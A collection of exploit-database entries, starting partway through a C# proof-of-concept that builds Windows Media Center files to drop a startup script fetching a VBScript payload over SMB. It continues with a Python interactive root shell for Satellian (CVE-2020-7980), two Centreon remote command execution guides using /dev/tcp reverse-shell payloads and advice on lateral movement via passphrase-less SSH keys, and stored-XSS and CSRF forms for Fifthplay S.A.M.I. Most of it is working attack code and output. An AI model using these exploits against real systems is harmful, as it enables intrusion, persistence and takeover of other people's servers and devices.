"89504E470D0A1A0A0000000D49484452000000AE0000007A080600000026A368D7000000017352474200AECE1CE90000000467414D410000B18F0BFC6105000000097048597300000EC300000EC301C76FA864000004C349444154785EEDDA414EE33C1887F139C82C390D2BCEC282B3207114C451E006B3402C5025A44C5392A18D5FDBAF633B9D7FF458FA499F342975ECA7495A7DBFFEFCBE190035840B49840B49840B49840B49840B49840B49840B49840B49840B49840B49840B49840B49840B49840B49840B49840B49840B49840B49840B49840B49840B49840B49840B49840B49840B49840B49840B49840B49840B49840B49840B49840B49840B49840B49840B49840B49840B49840B49840B49840B49840B49840B49840B49EBC3BD7D1ABE86C8787EB05F33BA7F990EFA19877BE3B898DAD7AF9CF7FBE3DB74D03CDE86CF5BFBD8D1C7F374D8BFF1327C18C7ADF7301CA6BF1C8CD7A7E1DD7C4D5C787EF388CC3BB58ED1915EB312C5E1C64FD018D6021AE17D3DDE5D1E93B232DCDA795BAF8FBDAFF95E2B624AC99E4FEAE2B164ACE9F9B0F6A7683DCF46D14526A120DCBBE1F3757AF792B15CC0CDC36D336F77B8E695A8DD9566960FC7FB9EF9F5110E77E5E68F6379A5D934DC76F3F6856BBF5FD1F93979C271BDAFE396DF2EDC8D1F15C2E7B57958CF3F8BCDBB62B82DE7ED09D7DCCC925B7681F0BD5E86C3F27C1D8F27C1DF793EFE9DE93FE7E10DB7D5D5D4231F6EEC1399DD9029846B3D2A349E7776A38C7979C259CB0AF7239843EE0A17DE210EF7E1973EC970CDAB56CD866C146EEB79A737CAFA86DFFEB9F69C19AE318FE4DA066BE9FF1BFF79B8F64F2E5513DC24DCF6F34E6D94F521E9BD8976B8C65C121FD6E0D8D35D660FE15AB7DBDADBDF16E176987774A36ACF67A558B8BE0FF6280CF4FBB83D846B2C42FE1931638B703BCCDBDE28E3CA5EBB3E4ED170ADBB8D35A7608DE2AFF7869B1CB517BC8564B8D6E4AAAF261B84DB63DEBE8D9A37BFBF78B8D6A34B38AFE5313FEBD329DCC66B43B84EDE8DAA5E1FA754B8D9350A1EA5CEBF4812AE6D47E19A8F0A9D7F4D9825C3CD3C2E04AFBDB88DEFE051C18A8467DC9F717A5FEBBD1A6F92251D6EEADFC3DF6E2FD77F7DB8C13E74541E6EEDA65C2BDCCA79C7372A0C611C45E7B4422E5CEB9795D37C938F09A33D846BFDAC547B2BDC22DC0EF34E6E548F75CAC8866B7DA08E1FDECFECEFBC7B08377235A9BAED6E116E8779E736CAFAF79E8F0CF97023735A8C70ED76116EFCE4F3B14DF12C63D924DCF6F3CE6F54870F7942389F305CFB4E703E8CD7EC255CEB447E8675E28BDF0897579D8DC26D3D6FD7464542E9B1A1AE70631FA679981FAADD847B64C4E21E8E7073E36241DCE11E359CB777A3ACE3621F941ABE7063F3F91EF6BAAD0FD7335AC5ED0B77B43602C7A3426E5C2C5C49B8A346F3F6861BBDD2377E64F0861B7F5C887D98FA865B74774DF0877B92BAFD1AC3FA72B275B827F5F3F6877B649E63DB5F19DCE1163F7BEF32DC59FAD9293DB9C2888EE3229055E1CED6CF3BDCA87488E1FF2F5032CF3C7FB847C19AA5E6EE0B37FFC5CF1EADD66065B8C075112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E24112E04DD0C7F01D6648D736D46368A0000000049454E44AE426082"; string asxd = "3C6173782076657273696F6E3D22322E30223E3C656E7472793E3C72656620687265663D22312E776D76222F3E3C6475726174696F6E2076616C75653D2230303A30303A3032222F3E3C2F656E7472793E3C656E7472793E3C72656620687265663D22312E706E67222F3E3C6475726174696F6E2076616C75653D2230303A30303A3033222F3E3C2F656E7472793E3C656E7472793E3C72656620687265663D22322E776D76222F3E3C2F656E7472793E3C656E7472793E3C72656620687265663D22312E706E67222F3E3C6475726174696F6E2076616C75653D2230303A30303A3033222F3E3C2F656E7472793E3C656E7472793E3C72656620687265663D22322E776D76222F3E3C2F656E7472793E3C656E7472793E3C72656620687265663D22312E706E67222F3E3C6475726174696F6E2076616C75653D2230303A30303A3033222F3E3C2F656E7472793E3C656E7472793E3C72656620687265663D22322E776D76222F3E3C2F656E7472793E3C2F6173783E"; string default_URL = "660069006C0065003A002F002F0063003A002F00700072006F006700720061006D0064006100740061002F0077006D0063002E00680074006D000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; string default_smbP = "5C5C3132372E302E302E315C63245C70726F6772616D64617461"; string tmpPath = Path.GetTempPath(); string prof = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile); string videos = prof + "\\Videos"; int URL_Max = 258; string[] cargs = Environment.GetCommandLineArgs(); int a = cargs.Length; if (a <= 1) { Console.WriteLine(welcome); Console.ForegroundColor = ConsoleColor.Blue; Console.WriteLine(howto); Console.ForegroundColor = ConsoleColor.Gray; if (!Directory.Exists(exeDir + "\\PoC1")) { Directory.CreateDirectory(exeDir + "\\PoC1"); } if (Directory.Exists("C:\\programdata")) { StreamWriter fw = File.CreateText(tmpPath + "\\wmc0001.h"); fw.Write(htmld1); fw.Write(default_smbP); fw.Write(htmld2); fw.Close(); FileStream fs0 = File.OpenRead(tmpPath + "\\wmc0001.h"); String ax = ""; byte[] b0 = new byte[fs0.Length]; UTF8Encoding temp0 = new UTF8Encoding(false); while (fs0.Read(b0, 0, b0.Length) > 0) { ax = ax + temp0.GetString(b0); } String bx = ax.ToString(); String cx = ""; byte[] b02 = new byte[fs0.Length / 2]; for (int i = 0; i < fs0.Length; i += 2) { cx = bx.Substring(i, 2); b02[i / 2] = Convert.ToByte(cx, 16); } File.WriteAllBytes("c:\\programdata\\wmc.htm", b02); } StreamWriter fw1 = File.CreateText(tmpPath + "\\default0001.h"); fw1.Write(wmvs); fw1.Write(default_URL); fw1.Write(wmve1); fw1.Write(t1); fw1.Write(wmve2); fw1.Close(); FileStream fs1 = File.OpenRead(tmpPath + "\\default0001.h"); String ax1 = ""; byte[] b = new byte[fs1.Length]; UTF8Encoding temp = new UTF8Encoding(false); while (fs1.Read(b, 0, b.Length) > 0) { ax1 = ax1 + temp.GetString(b); } String bx1 = ax1.ToString(); String cx1 = ""; byte[] b2 = new byte[fs1.Length / 2]; for (int i = 0; i < fs1.Length; i += 2) { cx1 = bx1.Substring(i, 2); b2[i / 2] = Convert.ToByte(cx1, 16); } File.WriteAllBytes(videos + "\\wmc0001.wmv", b2); Console.WriteLine("\n\n\n\n Done! 'wmc0001.wmv' created on your 'Videos' folder; 'wmc.htm' created on your programdata folder; \n Upon successfully testing this item a WSH file is dropped to your startup folder. \n Place a custom 'wmc" + "." + " vbs' file on your programdata folder because it will be retrieved on next boot."); Environment.Exit(0); } else if (a == 2 || a < 4) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("\n\n\n\n Failed. You need to provide all required arguments; Try again!"); Environment.Exit(0); } else { // POC 2 Console.WriteLine(welcome); Console.ForegroundColor = ConsoleColor.Blue; Console.WriteLine(howto); Console.ForegroundColor = ConsoleColor.Gray; string strsearch = "| "; string cxs = string.Join(strsearch, cargs); int c1 = cxs.IndexOf(strsearch, 0); int c2 = cxs.IndexOf(strsearch, c1 + 1); int c3 = cxs.IndexOf(strsearch, c2 + 1); string carg1 = cxs.Substring(c1 + strsearch.Length, c2 - c1 - strsearch.Length); string carg2 = cxs.Substring(c2 + strsearch.Length, c3 - c2 - strsearch.Length); string carg3 = cxs.Substring(c3 + strsearch.Length); if (carg1.Length > URL_Max || carg2.Length > URL_Max) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("\n\n\n\n Error: The URLs cannot exceed 258 chars. Try again!"); Console.ForegroundColor = ConsoleColor.Gray; } else { int cx1 = carg1.Length; int cx2 = carg2.Length; while (cx1 < URL_Max) { carg1 = carg1 + "*"; cx1++; } while (cx2 < URL_Max) { carg2 = carg2 + "*"; cx2++; } } if (!Directory.Exists(exeDir + "\\PoC2")) { Directory.CreateDirectory(exeDir + "\\PoC2"); } byte[] ba1 = Encoding.Default.GetBytes(carg1); string hex1 = BitConverter.ToString(ba1); hex1 = hex1.Replace("-", "00"); // transform ASCII HEX String into Unicode HEX String hex1 = hex1.Replace("2A", "00"); string url_remote = hex1 + "00"; // appends null byte to the last byte byte[] ba2 = Encoding.Default.GetBytes(carg2); string hex2 = BitConverter.ToString(ba2); hex2 = hex2.Replace("-", "00"); hex2 = hex2.Replace("2A", "00"); string url_local = hex2 + "00"; byte[] ba3 = Encoding.Default.GetBytes(carg3); string hex3 = BitConverter.ToString(ba3); string smb_path = hex3.Replace("-", ""); if (Directory.Exists(exeDir + "\\PoC2")) { StreamWriter fw4 = File.CreateText(tmpPath + "\\wmc0002.h"); fw4.Write(htmld1); fw4.Write(smb_path); fw4.Write(htmld2); fw4.Close(); FileStream fs4 = File.OpenRead(tmpPath + "\\wmc0002.h"); String ax4 = ""; byte[] b4 = new byte[fs4.Length]; UTF8Encoding temp4 = new UTF8Encoding(false); while (fs4.Read(b4, 0, b4.Length) > 0) { ax4 = ax4 + temp4.GetString(b4); } String bx4 = ax4.ToString(); String cx4 = ""; byte[] b04 = new byte[fs4.Length / 2]; for (int i = 0; i < fs4.Length; i += 2) { cx4 = bx4.Substring(i, 2); b04[i / 2] = Convert.ToByte(cx4, 16); } File.WriteAllBytes(exeDir + "\\PoC2\\wmc.htm", b04); StreamWriter fw5 = File.CreateText(tmpPath + "\\asx0002.h"); fw5.Write(asxd); fw5.Close(); FileStream fs5 = File.OpenRead(tmpPath + "\\asx0002.h"); String ax5 = ""; byte[] b5 = new byte[fs5.Length]; UTF8Encoding temp5 = new UTF8Encoding(false); while (fs5.Read(b5, 0, b5.Length) > 0) { ax5 = ax5 + temp5.GetString(b5); } String bx5 = ax5.ToString(); String cx5 = ""; byte[] b05 = new byte[fs5.Length / 2]; for (int i = 0; i < fs5.Length; i += 2) { cx5 = bx5.Substring(i, 2); b05[i / 2] = Convert.ToByte(cx5, 16); } File.WriteAllBytes(exeDir + "\\PoC2\\wmc" + "." + "asx", b05); StreamWriter fw6 = File.CreateText(tmpPath + "\\png0002.h"); fw6.Write(pngd); fw6.Close(); FileStream fs6 = File.OpenRead(tmpPath + "\\png0002.h"); String ax6 = ""; byte[] b6 = new byte[fs6.Length]; UTF8Encoding temp6 = new UTF8Encoding(false); while (fs6.Read(b6, 0, b6.Length) > 0) { ax6 = ax6 + temp6.GetString(b6); } String bx6 = ax6.ToString(); String cx6 = ""; byte[] b06 = new byte[fs6.Length / 2]; for (int i = 0; i < fs6.Length; i += 2) { cx6 = bx6.Substring(i, 2); b06[i / 2] = Convert.ToByte(cx6, 16); } File.WriteAllBytes(exeDir + "\\PoC2\\1.png", b06); StreamWriter fw7 = File.CreateText(tmpPath + "\\wmv0001.h"); fw7.Write(wmvs); fw7.Write(url_remote); fw7.Write(wmve1); fw7.Write(t1); fw7.Write(wmve2); fw7.Close(); FileStream fs7 = File.OpenRead(tmpPath + "\\wmv0001.h"); String ax7 = ""; byte[] b7 = new byte[fs7.Length]; UTF8Encoding temp7 = new UTF8Encoding(false); while (fs7.Read(b7, 0, b7.Length) > 0) { ax7 = ax7 + temp7.GetString(b7); } String bx7 = ax7.ToString(); String cx7 = ""; byte[] b07 = new byte[fs7.Length / 2]; for (int i = 0; i < fs7.Length; i += 2) { cx7 = bx7.Substring(i, 2); b07[i / 2] = Convert.ToByte(cx7, 16); } File.WriteAllBytes(exeDir + "\\PoC2\\1.wmv", b07); StreamWriter fw8 = File.CreateText(tmpPath + "\\wmv0002.h"); fw8.Write(wmvs); fw8.Write(url_local); fw8.Write(wmve1); fw8.Write(t2); fw8.Write(wmve2); fw8.Close(); FileStream fs8 = File.OpenRead(tmpPath + "\\wmv0002.h"); String ax8 = ""; byte[] b8 = new byte[fs8.Length]; UTF8Encoding temp8 = new UTF8Encoding(false); while (fs8.Read(b8, 0, b8.Length) > 0) { ax8 = ax8 + temp8.GetString(b8); } String bx8 = ax8.ToString(); String cx8 = ""; byte[] b08 = new byte[fs8.Length / 2]; for (int i = 0; i < fs8.Length; i += 2) { cx8 = bx8.Substring(i, 2); b08[i / 2] = Convert.ToByte(cx8, 16); } File.WriteAllBytes(exeDir + "\\PoC2\\2.wmv", b08); Console.WriteLine("\n\n\n\n Done! All files written to 'PoC2' folder. Begin by opening the 'wmc" + "." + " a s x' file with Windows Media Center. \n If it succeeds a WSH file is dropped to startup folder and will retrieve and run a 'wmc'" + "." + " vbs' file from the SMB location you provided."); Environment.Exit(0); } } } } }
-
Satellian 1.12 - Remote Code Execution
# Exploit Title: Satellian 1.12 - Remote Code Execution # Date: 2020-01-28 # Exploit Author: Xh4H # Vendor Homepage: https://www.intelliantech.com/?lang=en # Version: v1.12+ # Tested on: Kali linux, MacOS # CVE : CVE-2020-7980 # Github repository: https://github.com/Xh4H/Satellian-CVE-2020-7980 # xh4h@Macbook-xh4h ~/Satellian> python satellian.py -u http://<redacted> # ________________________________________ # (__) / \ # (oo) ( Intellian Satellite Terminal PoC ) # /-------\/ --' \________________________________________/ # / | || # * ||----|| # Performing initial scan. Listing available system binaries. # Starting request to http://<redacted> # Executing command /bin/ls /bin # acu_server # acu_tool # addgroup # adduser # ... # Satellian $ id # uid=0(root) gid=0(root) import requests import argparse import sys import calendar import time from termcolor import colored def cprint(text, color): # colored print sys.stdout.write(colored(text + "\n", color, attrs=["bold"])) def httpize(url): if not url.startswith("http"): cprint("Missing protocol, using http . . .", "yellow") url = "http://" + url return url def send_command(url, command, verbose): RCE = {"O_":"A","V_":1,"S_":123456789,"F_":"EXEC_CMD","P1_":{"F":"EXEC_CMD","Q":command}} string_to_split = '''"SUCCESS_" },''' if verbose: cprint("Starting request to %s" % url, "yellow") cprint("Executing command %s" % command, "yellow") a = requests.post(url + '/cgi-bin/libagent.cgi?type=J&' + str(calendar.timegm(time.gmtime())) + '000', json=RCE, cookies={'ctr_t': '0', 'sid': '123456789'}) command_output = a.content[a.content.find(string_to_split):-2].replace(string_to_split, '') if len(command_output) < 4 and verbose: cprint("Target doesn't seem to be vulnerable\nExiting.", 'red') sys.exit() print command_output cprint(""" ________________________________________ (__) / \\ (oo) ( Intellian Satellite Terminal PoC ) /-------\\/ --' \\________________________________________/ / | || * ||----|| """, "green") parser = argparse.ArgumentParser(description="Satellian: A PoC script for CVE-2020-7980") parser.add_argument("-u", "--url", help="Base url") args = parser.parse_args() if args.url is None: cprint("Missing arguments.\nUsage example:\n" + sys.argv[0] + " -u http://10.10.10.14\n", "red") sys.exit() url = httpize(args.url) def main(): cprint("Performing initial scan. Listing available system binaries.", "green") send_command(url, '/bin/ls /bin', True) while True: command = raw_input('Satellian $ ') send_command(url, command, False) if __name__ == '__main__': try: main() except Exception as e: print e print "\nAn error happened."
-
Centreon 19.10.5 - 'centreontrapd' Remote Command Execution
# Exploit Title: Centreon 19.10.5 - 'centreontrapd' Remote Command Execution # Date: 2020-01-29 # Exploit Author: Fabien AUNAY, Omri Baso # Vendor Homepage: https://www.centreon.com/ # Software Link: https://github.com/centreon/centreon # Version: 19.10.5 # Tested on: CentOS 7 # CVE : - ########################################################################################################### Centreon 19.10.5 Remote Command Execution centreontrapd Trusted by SMBs and Fortune 500 companies worldwide. An industry reference in IT Infrastructure monitoring for the enterprise. Counts 200,000+ ITOM users worldwide and an international community of software collaborators. Presence in Toronto and Luxembourg. Deployed in diverse sectors: - IT & telecommunication - Transportation - Government - Heath care - Retail - Utilities - Finance & Insurance - Aerospace & Defense - Manufacturing - etc. It is possible to get a reverse shell with a snmp trap and gain a pivot inside distributed architecture. Steps: Objective 1 : Create a SNMP trap or use linkDown OID with special command in action 3 Objective 2 : Create passive service and use App-Monitoring-Centreon-Service-Dummy Objective 3 : Assign service trap relation Objective 4 : Get centreon id reverse shell ########################################################################################################### # Objective 1 : Create or use SNMP trap OID with special command in action 3 - Configuration > SNMP Traps [+] Trap name * : linkDown [+] OID * : .1.3.6.1.6.3.1.1.5.3 [+] Special Command : 0<&121-;exec 121<>/dev/tcp/127.0.0.1/12345;sh <&121 >&121 2>&121 # Objective 2 : Create passive service and use App-Monitoring-Centreon-Service-Dummy - Configuration > Services > Services by host [+] Description * : TRAP RCE [+] Linked with Hosts * : YOUR-LINKED-HOST [+] Check Command * : App-Monitoring-Centreon-Service-Dummy [+] DUMMYSTATUS : 0 [+] DUMMYOUTPUT : 0 [+] Passive Checks Enabled : YES [+] Is Volatile : YES [+] Service Trap Relation : Generic - linkDown # Objective 3 : Assign service trap relation - Configuration > SNMP Traps - linkDown - Relations [+] Linked services : YOUR-LINKED-HOST - SERVICE DESCRIPTION reload Central Reload snmp config # Objective 4 : Get centreon id reverse shell and think lateral [+] Send your trap snmptrap -v2c -c public 127.0.0.1 '' .1.3.6.1.6.3.1.1.5.3 ifIndex i 1 ifadminStatus i 2 ifOperStatus i 2 TIP: centreontrapd logfile: 2020-01-29 02:52:33 - DEBUG - 340 - Reading trap. Current time: Wed Jan 29 02:52:33 2020 2020-01-29 02:52:33 - DEBUG - 340 - Symbolic trap variable name detected (DISMAN-EVENT-MIB::sysUpTimeInstance). Will attempt to translate to a numerical OID 2020-01-29 02:52:33 - DEBUG - 340 - Translated to .1.3.6.1.2.1.1.3.0 2020-01-29 02:52:33 - DEBUG - 340 - Symbolic trap variable name detected (SNMPv2-MIB::snmpTrapOID.0). Will attempt to translate to a numerical OID ... 2020-01-29 02:52:33 - DEBUG - 340 - Trap found on service 'TRAP RCE' for host 'supervision_IT'. ... 2020-01-29 02:52:43 - INFO - 1757 - EXEC: Launch specific command 2020-01-29 02:52:43 - INFO - 1757 - EXEC: Launched command: 0<&121-;exec 121<>/dev/tcp/127.0.0.1/12345;sh <&121 >&121 2>&121 .. NOTE: Read the doc !!! https://documentation-fr.centreon.com/docs/centreon/fr/latest/administration_guide/poller/ssh_key.html?highlight=keygen The centreon id user shares configurations and instructions with satellite collectors trough SSH. No passphrase used. This allows you to move around the infrastructure after your RCE. POC: snmptrap -v2c -c public 127.0.0.1 '' .1.3.6.1.6.3.1.1.5.3 ifIndex i 1 ifadminStatus i 2 ifOperStatus i 2 nc -lvnp 12345 Ncat: Version 7.50 Ncat: Listening on :::12345 Ncat: Listening on 0.0.0.0:12345 Ncat: Connection from 127.0.0.1. Ncat: Connection from 127.0.0.1:38470. id uid=997(centreon) gid=994(centreon) groups=994(centreon),48(apache),990(centreon-engine),992(centreon-broker) sudo -l Matching Defaults entries for centreon on centreonlab: !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin, !requiretty User centreon may run the following commands on centreonlab: (root) NOPASSWD: /sbin/service centreontrapd start (root) NOPASSWD: /sbin/service centreontrapd stop (root) NOPASSWD: /sbin/service centreontrapd restart (root) NOPASSWD: /sbin/service centreontrapd reload (root) NOPASSWD: /usr/sbin/service centreontrapd start (root) NOPASSWD: /usr/sbin/service centreontrapd stop (root) NOPASSWD: /usr/sbin/service centreontrapd restart (root) NOPASSWD: /usr/sbin/service centreontrapd reload (root) NOPASSWD: /sbin/service centengine start (root) NOPASSWD: /sbin/service centengine stop (root) NOPASSWD: /sbin/service centengine restart (root) NOPASSWD: /sbin/service centengine reload (root) NOPASSWD: /usr/sbin/service centengine start (root) NOPASSWD: /usr/sbin/service centengine stop (root) NOPASSWD: /usr/sbin/service centengine restart (root) NOPASSWD: /usr/sbin/service centengine reload (root) NOPASSWD: /bin/systemctl start centengine (root) NOPASSWD: /bin/systemctl stop centengine (root) NOPASSWD: /bin/systemctl restart centengine (root) NOPASSWD: /bin/systemctl reload centengine (root) NOPASSWD: /usr/bin/systemctl start centengine (root) NOPASSWD: /usr/bin/systemctl stop centengine (root) NOPASSWD: /usr/bin/systemctl restart centengine (root) NOPASSWD: /usr/bin/systemctl reload centengine (root) NOPASSWD: /sbin/service cbd start (root) NOPASSWD: /sbin/service cbd stop (root) NOPASSWD: /sbin/service cbd restart (root) NOPASSWD: /sbin/service cbd reload (root) NOPASSWD: /usr/sbin/service cbd start (root) NOPASSWD: /usr/sbin/service cbd stop (root) NOPASSWD: /usr/sbin/service cbd restart (root) NOPASSWD: /usr/sbin/service cbd reload (root) NOPASSWD: /bin/systemctl start cbd (root) NOPASSWD: /bin/systemctl stop cbd (root) NOPASSWD: /bin/systemctl restart cbd (root) NOPASSWD: /bin/systemctl reload cbd (root) NOPASSWD: /usr/bin/systemctl start cbd (root) NOPASSWD: /usr/bin/systemctl stop cbd (root) NOPASSWD: /usr/bin/systemctl restart cbd (root) NOPASSWD: /usr/bin/systemctl reload cbd
-
Centreon 19.10.5 - 'Pollers' Remote Command Execution
# Exploit Title: Centreon 19.10.5 - 'Pollers' Remote Command Execution # Date: 2020-01-27 # Exploit Author: Omri Baso, Fabien Aunay # Vendor Homepage: https://www.centreon.com/ # Software Link: https://github.com/centreon/centreon # Version: 19.10.5 # Tested on: CentOS 7.7 # CVE : - Centreon 19.10.5 Remote Command Execution Misc Trusted by SMBs and Fortune 500 companies worldwide. An industry reference in IT Infrastructure monitoring for the enterprise. Counts 200,000+ ITOM users worldwide and an international community of software collaborators. Presence in Toronto and Luxembourg. Deployed in diverse sectors: - IT & telecommunication - Transportation - Government - Heath care - Retail - Utilities - Finance & Insurance - Aerospace & Defense - Manufacturing - etc. User input isn't sanitized for safe use - and it is possible to gain a Remote Code Execution of the server hosting the Centreon Service leading to a full server takeover with the user "apache" Steps: 1.) <BASEURL>/centreon/main.php?p=60803&type=3 Here we create the Command - can also be found under Configuration > Commands > Miscellaneous we Press "Add" - Command Name: "misc" Payload: 0<&121-;exec 121<>/dev/tcp/127.0.0.1/1234;sh <&121 >&121 2>&121 2.) go to: <BASEURL>/centreon/main.php?p=60901 Configuration > Pollers Open "Central" Poller add on "Post-Restart command" the command "misc" we created make Status "Enabled" 3.) Check the box "Post generation command" in the "Export Configuration" Tab 3.1) Restart Poller and get Shell. ┌─[root@vps]─[~] └──╼ #nc -lnvp 1234 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::1234 Ncat: Listening on 0.0.0.0:1234 Ncat: Connection from 127.0.0.1. Ncat: Connection from 127.0.0.1:49184. whoami apache id uid=48(apache) gid=48(apache) groups=48(apache),990(centreon-engine),992(centreon-broker),993(nagios),994(centreon) ___________________________________________________________________
-
Fifthplay S.A.M.I 2019.2_HP - Persistent Cross-Site Scripting
# Exploit Title: Fifthplay S.A.M.I 2019.2_HP - Persistent Cross-Site Scripting # Date: 2020-01-29 # Exploit Author: LiquidWorm # Vendor: Fifthplay NV # Vendor Homepage: https://www.fifthplay.com # Version: 2019.2_HP # Tested on: Linux # CVE : - Fifthplay S.A.M.I - Service And Management Interface Unauthenticated Stored XSS Vendor: Fifthplay NV Product web page: https://www.fifthplay.com Affected version: Platform: HAM V1.2 HAM V1.1 HAM V1.0 DINHAM 10W Image Version: 2019.3-20190605144803 2019.2_HP-20190808154634 2018.4_HP-20181015152950 2018.2-20180516100815 2017.2_HP-20180213083050 2013.4_HP-201309301203 AMP Version: 2019.2_HP 2018.4_HP 2017.2_HP 2013.4_HP R20.19.03 R20.18.02 Fix: 2017.2-HP4 2018.4_HP3 2018.5_HP7 2019.2_HP3 2019.3_HP1 Summary: Fifthplay is a Belgian high-tech player and a subsidiary of Niko Group. We specialise in enriching smart homes and buildings for almost 10 years, and in services that provide comfort and energy. Our gateway provides a modular approach to integrating old and new technologies, such as smart meters, optical meters, sockets, switches. Fifthplay is a trendsetter with regards to smart homes and buildings and one of the sector's most innovative companies. Desc: The application suffers from an unauthenticated stored XSS through POST request. The issue is triggered when input passed via several parameters is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. The application interface also allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions if a user visits a malicious web site. Tested on: lighttpd/1.4.33 PHP/5.4.33 PHP/5.3.19 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2020-5561 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5561.php 29.09.2019 -- Stored XSS: ----------- <html> <body> <form action="http://192.168.11.1/?page=networksettings" method="POST"> <input type="hidden" name="server" value='"><script>prompt(251)</script>' /> <input type="hidden" name="port" value='"><script>prompt(252)</script>' /> <input type="hidden" name="auth" value="1" /> <input type="hidden" name="user" value='"><script>prompt(253)</script>' /> <input type="hidden" name="pass" value='"><script>prompt(254)</script>' /> <input type="hidden" name="submit" value="Change" /> <input type="submit" value="Write" /> </form> </body> </html> Set proxy CSRF: --------------- <html> <body> <form action="http://192.168.11.1/?page=networksettings" method="POST"> <input type="hidden" name="server" value="proxy.segfault.mk" /> <input type="hidden" name="port" value="8080" /> <input type="hidden" name="auth" value="1" /> <input type="hidden" name="user" value="testuser" /> <input type="hidden" name="pass" value="testpass" /> <input type="hidden" name="submit" value="Change" /> <input type="submit" value="Write" /> </form> </body> </html> Delete proxy CSRF: ------------------ <html> <body> <form action="http://192.168.11.1/?page=networksettings" method="POST"> <input type="hidden" name="server" value="proxy.segfault.mk" /> <input type="hidden" name="port" value="8080" /> <input type="hidden" name="auth" value="1" /> <input type="hidden" name="user" value="testuser" /> <input type="hidden" name="pass" value="testpass" /> <input type="hidden" name="delete" value="Delete" /> <input type="submit" value="Clear" /> </form> </body> </html>